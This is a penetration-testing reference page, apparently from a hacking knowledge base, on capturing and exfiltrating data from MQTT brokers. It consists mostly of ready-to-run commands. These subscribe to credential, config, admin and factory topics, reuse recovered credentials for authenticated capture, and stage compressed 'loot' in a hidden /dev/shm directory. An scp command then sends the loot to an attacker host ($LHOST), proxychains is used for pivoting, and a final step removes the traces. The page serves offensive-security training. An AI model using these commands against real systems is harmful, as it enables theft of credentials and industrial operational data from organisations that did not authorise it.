# MQTT Topic Data Capture and Exfiltration

- **URL:** https://hackindex.io/services/mqtt/data-exfiltration/mqtt-topic-data-capture
- **Path:** MQTT > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/services/mqtt/data-exfiltration.md)
- **Published:** 2026-03-16
- **Updated:** 2026-03-16

MQTT message payloads constitute the exfiltration target: the following commonly flow through the broker:

- Credentials embedded in message payloads
- Device telemetry and sensor readings
- Configuration values and endpoint URLs
- Operational data and control commands

This page covers structured capture from specific high-value topics, staging the output, and transferring it off the target network. This is distinct from the broad harvest in the exploitation phase: here the goal is clean, targeted collection of specific data for reporting or further use.

## MQTT Data Capture from Targeted Topics

Once high-value topics have been identified from the enumeration and exploitation phases, capture them individually:

```bash
mosquitto_sub -h $TARGET_IP -p 1883 -t 'credentials/#' -v --retained-only -C 100 \
  >> /tmp/mqtt-loot-credentials.txt

mosquitto_sub -h $TARGET_IP -p 1883 -t 'config/#' -v --retained-only -C 100 \
  >> /tmp/mqtt-loot-config.txt

mosquitto_sub -h $TARGET_IP -p 1883 -t 'admin/#' -v --retained-only -C 100 \
  >> /tmp/mqtt-loot-admin.txt
```

Capture live traffic from device topics over a defined window:

```bash
timeout 300 mosquitto_sub -h $TARGET_IP -p 1883 -t 'factory/#' -v --line-buffered \
  > /tmp/mqtt-loot-factory.txt
```

`timeout 300` runs for 5 minutes then exits cleanly. Adjust based on device publish intervals.

## Capture with Authentication

If credentials were recovered during the exploitation phase, use them to access ACL-restricted topics:

```bash
mosquitto_sub -h $TARGET_IP -p 1883 -u $USER -P $PASSWORD \
  -t '#' -v --retained-only -C 1000 > /tmp/mqtt-loot-auth.txt
```

Authenticated access may unlock topics invisible to anonymous subscribers.

## Stage and Compress

Combine capture files and compress for transfer:

```bash
cat /tmp/mqtt-loot-*.txt > /tmp/mqtt-all-loot.txt
wc -l /tmp/mqtt-all-loot.txt
gzip -c /tmp/mqtt-all-loot.txt > /dev/shm/.work/mqtt-loot.gz
```

Check size before transferring:

```bash
du -sh /dev/shm/.work/mqtt-loot.gz
```

## Transfer Off the Target Network

If you have a shell on the target machine running the MQTT client, transfer the staged file to your attacker machine:

```bash
scp /dev/shm/.work/mqtt-loot.gz $USER@$LHOST:/tmp/
```

If running the MQTT client directly from your attacker machine against a reachable broker, the capture files are already local: no transfer needed.

If the broker is only reachable through a pivot, route the mosquitto_sub through proxychains:

```bash
proxychains mosquitto_sub -h $TARGET_IP -p 1883 -t '#' -v --retained-only -C 1000 \
  > /tmp/mqtt-loot-pivot.txt
```

## Parse JSON Payloads

Many MQTT payloads are JSON. Extract and pretty-print them for analysis:

```bash
awk '{$1=""; print $0}' /tmp/mqtt-all-loot.txt | while read payload; do
  echo "$payload" | python3 -m json.tool 2>/dev/null
done | tee /tmp/mqtt-parsed.txt
```

Extract all key-value pairs from JSON payloads:

```bash
grep -oE '"[^"]+"\s*:\s*"[^"]+"' /tmp/mqtt-all-loot.txt | sort -u
```

## Clean Up

Remove staging files after transfer:

```bash
rm -f /tmp/mqtt-loot-*.txt /dev/shm/.work/mqtt-loot.gz
```

If you published any test messages during the exploitation phase, clear retained ones:

```bash
mosquitto_pub -h $TARGET_IP -p 1883 -t 'pentest/probe' -m '' -r
```

## References

- [Mosquitto: mosquitto_sub man page](https://mosquitto.org/man/mosquitto_sub-1.html) - Full flag reference for targeted subscription, timeout handling, and output formatting
- [timeout(1): Linux man page](https://man7.org/linux/man-pages/man1/timeout.1.html) - Run mosquitto_sub for a defined window and exit cleanly